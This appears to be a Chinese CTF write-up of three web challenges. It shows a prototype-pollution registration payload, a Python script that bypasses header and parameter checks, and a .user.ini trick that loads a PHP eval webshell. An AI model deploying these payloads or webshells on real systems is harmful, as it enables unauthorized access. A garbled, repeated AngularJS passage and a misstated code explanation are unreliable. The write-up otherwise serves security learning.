wife_wife
一拿到题目就提示这题不用爆破
进入环境得到的是一个登录框
随便试了一下登录账户密码会提示错误,那就去注册账户,注册的账户还有注册管理员的选项
先注册普通用户234,注册好后登录
这样就得到flag,但是提交是错误的,那么这个flag就是假的
重新注册用户,注册管理员用户
但是这样搞却注册不了
那就用bp抓包
更改信息,JavaScript原型链污染
将
{"username":"567","password":"567","isAdmin":true,"inviteCode":"1234"}
构造为
{"username":"567","password":"567",
"__proto__":{
"isAdmin":true
}
}
发送请求,注册成功后,就可以再页面登录刚刚注册的用户,登陆进去就可以看到flag
知识点
原型和原型链:参考:原型和原型链_Dinmunh的博客-CSDN博客
对于原型和原型链,我们要知道一下几个:函数对象,实例对象、原型对象
1)函数对象——就是平时称的对象;
2)实例对象——new出的对象或者{ };
3)原型对象——所有的函数对象都有一定有一个对应的原型对象,所有的原型对象都是被Object函数对象创建出来的。
一、原型
原型是一个对象,是函数的一个属性prototype;
通过该函数实例化出来的对象都可以继承得到原型上的所有属性和方法
原型对象默认有一个属性constructor ,值为对应的构造函数;另外,有一个属性__proto__,值为Object.prototype
二、原型链
概念:(1)对象的创建(2)对象的组织结构(3)对象访问成员的规定
在JavaScript中万物都是对象,对象和对象之间并不是独立存在的,对象和对象之间有一定关系。
通过对象__proto__属性指向函数的原型对象(函数.prototype)一层一层往上找,直到找到Object的原型对象(Object.prototype)为止,层层继承的链接结构叫做原型链(通过proto属性形成原型的链式结构,专业术语叫做原型链)
三、构造函数
①构造函数本身也是函数
②构造函数,函数名尽量首字母要大写(为了区分普通函数和构造函数)
③构造函数中的this指向实例化对象
④构造函数需要使用new关键字调用
其中new关键字主要做了?
1.实例化了一个对象:
eg: var 变量a= new son(1); 变量a表示实例化对象
2.将this指向实例化对象 eg:this—>a
3.将实例化对象的__proto__指向构造函数的原型对象上
4.将属性和方法添加到实例化对象上
eg:this关键字添加
5.隐式的返回this
JavaScript原型链污染
参考:安全基础 --- 原型链污染_雨天_的博客-CSDN博客
JavaScript原型链污染是一种黑客攻击方式,利用JavaScript中的原型继承链来污染一个对象的原型继承链,从而影响整个应用程序的执行逻辑。攻击者会利用一些漏洞或者不恰当的代码实现,将恶意代码注入到原型对象中,然后通过继承链的方式将恶意代码传递给整个应用程序。
攻击者通常将恶意代码注入到全局对象或者重要对象的原型中,例如Object.prototype、Array.prototype等,从而污染整个应用程序。JavaScript原型链污染攻击常见的案例有:
jQuery Prototype Pollution漏洞:攻击者通过修改jQuery的jQuery.fn.extend方法来污染Object.prototype,使得在后续的代码中,可以在任何位置调用Object.prototype中的方法,从而导致安全漏洞。
npm原型链污染漏洞:攻击者通过在package.json中设置恶意依赖包的__proto__属性,或者通过在依赖包的代码中利用Object.assign()函数来污染原型链,从而实现攻击。例如,攻击者可以通过在依赖包中注入get和set方法来盗取用户的敏感信息。
AngularJS c o n t r o l l e r P r o v i d e r 漏洞:攻击者可以利用 controllerProvider漏洞:攻击者可以利用 controllerProvider漏洞:攻击者可以利用controllerProvider来动态加载控制器,从而污染原型链,并实现XSS攻击、跨站请求伪造(CSRF)和其他安全漏洞。攻击者可以通过注入恶意代码来改变原型链,从而实现攻击。
JavaScript原型链污染攻击是一种非常危险的黑客攻击方式,开发者应该注意代码的安全性,并尽可能避免使用全局对象或者原型链的方式来定义函数或者变量。
prototype和proto用法
对象.proto=构造器(构造函数).prototype
构造器.prototype其实也是一个对象,为构造函数的原型对象,同样有__proto__属性,一直通过原型链__proto__最终可找到null。
我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
每个构造函数(constructor)都有一个原型对象(prototype) 对象的__proto__属性,指向类的原型对象prototype JavaScript使用prototype链实现继承机制
原型组成的链,对象的__proto__是原型,而原型也是一个对象,也有__proto__属性,原型的__proto__又是原型的原型,就这样可以一直通过__proto__向上找,这便是原型链,当向上找找到Object的原型的时候,这条原型链便算结束了。
参考:Nodejs原型链污染攻击基础知识 | Savant's Blog
【精选】js原型链污染(超详细)_l_abour的博客-CSDN博客
记录js原型链污染-CSDN博客
ez_curl
前言
Express是一个流行的Node.js Web框架,它提供了许多有用的功能来构建Web应用程序。其中之一是参数解析,它允许开发者解析HTTP请求中的参数。Express提供了许多选项来配置参数解析。其中之一是parameterLimit选项。
parameterLimit选项用于指定query string或者request payload的最大数量。默认情况下,它的值是1000。如果你的应用程序需要解析大量的查询字符串或者请求负载,你可能需要增加这个限制。例如,如果你的应用程序需要处理非常长的查询字符串,你可以将parameterLimit设置为一个更高的值。
以下是一个示例,演示如何使用parameterLimit选项来增加query string和request payload的限制:
const express = require('express')
const app = express()
// 将parameterLimit设置为10000
app.use(express.json({ parameterLimit: 10000 }))
app.use(express.urlencoded({ parameterLimit: 10000, extended: true }))
在上面的代码中,我们将parameterLimit设置为10000。这将允许我们解析更大的请求负载和查询字符串。
需要注意的是,如果你将parameterLimit设置为一个非常高的值,可能会导致安全问题。攻击者可以发送恶意请求,包含大量参数,导致服务器崩溃。因此,你应该谨慎地设置参数限制,并确保你的应用程序具有有效的安全措施,以防止此类攻击。
解题
先下载好附件
附件及解析
const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});
app.listen({ port: port , host: '0.0.0.0'});
这段代码实现了一个基于 Express 的 Web 服务器,监听在本地的 3000 端口上。代码中定义了一个路由 /flag,当收到 GET 请求时,会检查请求中的参数和头部信息。如果请求的参数中没有 admin 并且头部中的 admin 值为 ‘true’,则返回服务器的 flag,否则返回字符串 ‘try hard’。
需要注意的是,该代码中依赖的 flag 变量是通过环境变量 process.env.flag 来获取的,你需要在服务器的环境中设置这个环境变量才能获得正确的值。另外,代码中没有提供对 /flag 路由以外的请求的处理逻辑,可能需要根据实际需求进行补充。
进入题目,得到的是PHP代码
代码审计
这段代码是一个 PHP 脚本,运行后会读取当前文件的内容并将其展示(`highlight_file(__FILE__)`)。
接着,代码通过 `file_get_contents('php://input')` 获取 HTTP 请求中的请求体,再通过 `json_decode()` 将其转换成一个关联数组。然后,代码逐一处理请求头和查询参数,拼接出完整的请求 URL。
接下来,代码使用 curl 库发送 GET 请求,并将请求结果输出到页面上。
需要注意的是,代码中会判断请求头中是否包含 `admin` 并且值为 `true`,如果是则直接输出 'try hard' 并退出脚本,可以推断这里是为了防止一些未授权的用户访问到 `flag` 页面。
本题两个知识点分别是:
- express的parameterLimit默认为1000
- 根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行
第一点:来自源代码的这一行。结合这篇文章的分析,当我们传入的参数超过1000个时,之后的参数会被舍弃掉。于是这里我们最开始发个"admin":"t"设置好admin的值,加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。
第二点:header 字段可以通过在每一行前面至少加一个SP 或 HT 来扩展到多行。以此绕过对 headers 的过滤
这题使用到python脚本
import requests
import json
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:57983/"
datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],
"params": {"admin": "true"}}
for i in range(1020):
datas["params"]["x" + str(i)] = i
headers = {
"Content-Type": "application/json"
}
json1 = json.dumps(datas)
print(json1)
resp = requests.post(url, headers=headers, data=json1)
print(resp.content)
运行python脚本后就可以得到flag
笔记
express()函数
当你使用express框架的时候,一定会见过如下的引入:
const express=require('express')
跟koa框架中,引入koa到方式是一样的,例如:
const koa=require('koa')
而express官方提供express()函数来创建一个express应用;按照官方文档:
The express() function is a top-level function exported by the express module.
翻译:express()函数是express模块的顶级(最高级)函数的导出
express框架除了提供express()函数来创建一个express应用,也提供了一些内置方法:
express.json()
express.raw()
express.Router()
express.static()
express.text()
express.unlencoded()
一个个来讲解、整理吧~
express.json(options)
这是express框架内置的中间件函数,以body-parser为基础解析输入的请求为json格式;作为输入请求的解析器,支持body参数为Unicode的编码方式
当有接口请求过来时,会将body传递的参数,解析成一个object对象,可以通过req.body的方式进行获取;当出现以下情况,解析的对象会为空;
- 没有以body的方式进行传参
- content-type不匹配
- 发生错误,没有执行解析的中间件
这里的body传参,可以了解下restful风格,其中请求类型为GET时,是不支持body传参的;
正如,body的参数结构是由用户控制的,对象中的所有属性和值是不可信的,在使用也就是信赖对象之前,需要先进行参数校验;
参考:express()函数整理
easyupload
文件上传
简单的上传php文件已经不能得到flag
第一步先
上传.user.ini,内容为
GIF89a
auto_prepend_file=2.jpg
上传a.jpg,内容为
GIF89a
<?=eval($_POST['cmd']);?>
BP抓包
上传.user.ini
再上传2.jpg ,并且还找到文件去向
用蚁剑连接
查看flag
笔记
参考:.user.ini文件构成的PHP后门 - phith0n
.user.ini
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
.user.ini的妙用原理
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
利用.user.ini的环境
有时候我们进行文件上传的时候,站点不仅在前端做了白名单处理,还在后端做了黑名单处理以及文件类型的检验且服务器没有配置"AddType application/x-httpd-php .php .phtml",这时我们就不能通过简单的绕过前端验证修改数据包的Content-Type并将文件后缀改为phtml以此来利用文件上传漏洞。
这时我们就需要利用.user.ini进行配合,使得我们上传的图片格式的webshell也能够被解析,以此成功利用漏洞拿到shell权限。